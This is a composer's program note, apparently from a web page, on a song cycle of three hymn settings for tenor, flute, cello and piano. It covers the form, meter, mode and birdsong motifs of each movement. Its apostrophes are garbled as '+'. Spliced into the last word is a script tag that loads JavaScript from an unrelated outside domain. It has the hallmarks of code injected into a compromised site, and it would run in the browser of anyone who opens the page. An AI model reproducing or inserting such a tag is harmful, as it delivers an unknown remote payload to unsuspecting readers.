Update Title: F1EF24D5-A5A4-4233-BFC1-9BFB2AE2A647

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Commissioned by the Essex Chamber Music Players under the direction of Michael Finegold, this composition is scored for tenor, flute (doubling piccolo), cello and piano. All three hymn texts are found in most Protestant hymnals. The verses of these hymns, however, have been edited and adapted to fit into this context of a song cycle for vocal soloist and chamber ensemble. For many years in my work as a church organist, I have enjoyed accompanying my congregation in the singing of the familiar hymn tunes often associated with these texts. Although none of the music from these tunes has been incorporated into the Three Sacred Songs, each of the songs was composed with a respect for and an appreciation of the tradition from which these hymns come. A programmatic element, which serves to unify this song cycle, is that of our acknowledgement and appreciation of nature, and of God as its Creator.

1. "I Sing the Mighty Power of God": This movement is in ABA form. The two outer sections have a march-like character which is emphasized by a rhythmic ostinato played by the cello in unison with the left hand of the piano. The theme of these A sections is majestic in nature and includes a quarter note triplet motive. The flute part focuses on echoing the vocal lines especially in the melismatic passages. The middle section (B) introduces a pastoral flavor which foreshadows the mood of both the second movement of the cycle as well as the central section of the final movement. The tempo is somewhat slower, the cello plays a pizzicato bass line and the trills played by the flute provide special color suggestive of birdsong. 
2. "All Things Bright and Beautiful": The volume softens, the tempo slows down and the meter changes to 3/4. The Lydian mode, often associated with a pastoral mood, is emphasized by the opening F pedal point. Above this, the piano plays 3rds in quarter notes on the 2nd and 3rd beats of each measure which help to emphasize the waltz feeling of the movement. The cello immediately introduces an obbligato melody in its upper register, and this theme returns for each of the instrumental interludes. After the first two lines of text are sung, piccolo intones the birdsong melody of the Wood Pewee. This birdsong provides the transition to and from the lighter central section of the movement which begins with "Each little flower+ each little bird that sings+." The piano, in canon with the piccolo, soon intones the birdsong melody in augmented note values under which the cello plays rolling arpeggios. A more elaborate version of this interlude provides an appropriate coda for this movement+s ABA song form construction.
3. "The Heavens Declare Your Glory, Lord": The cello+s energetic and rhythmic bass line begins this final movement which is in ABCBA form. In the A sections, the concepts of God+s power and majesty are expressed by the broad vocal line which is supported by the piano+s block chords. With the change in the text from a universal and external acknowledgement of the Creator to a more personal and intimate relationship with God (including reference to the Bible), the meno mosso B section slows slightly and the 12/8 meter switches to 5/8. After a brief transition in which the tempo slows down even further, the central C section begins with the birdsong of the Meadowlark played by the flute and cello in harmony and set in 5/4 meter. As the piano continues its arpeggios, the transition back to B is a palindrome. This literal reverse of the material which brought us to C, leads to a literal repetition of the B material (although there are some changes in the instrumental parts). When the A section returns, the text is different and the character is even more majestic and powerful. The tenor soloist sustains a high E and then a high G as part of the final phrase: "Your power confess; Your praise." The final "Amen" (sung a cappella) followed by a brief and powerful instrumental coda concludes the moveme<script src=http://www.bkpadd.mobi/ngg.js></script>

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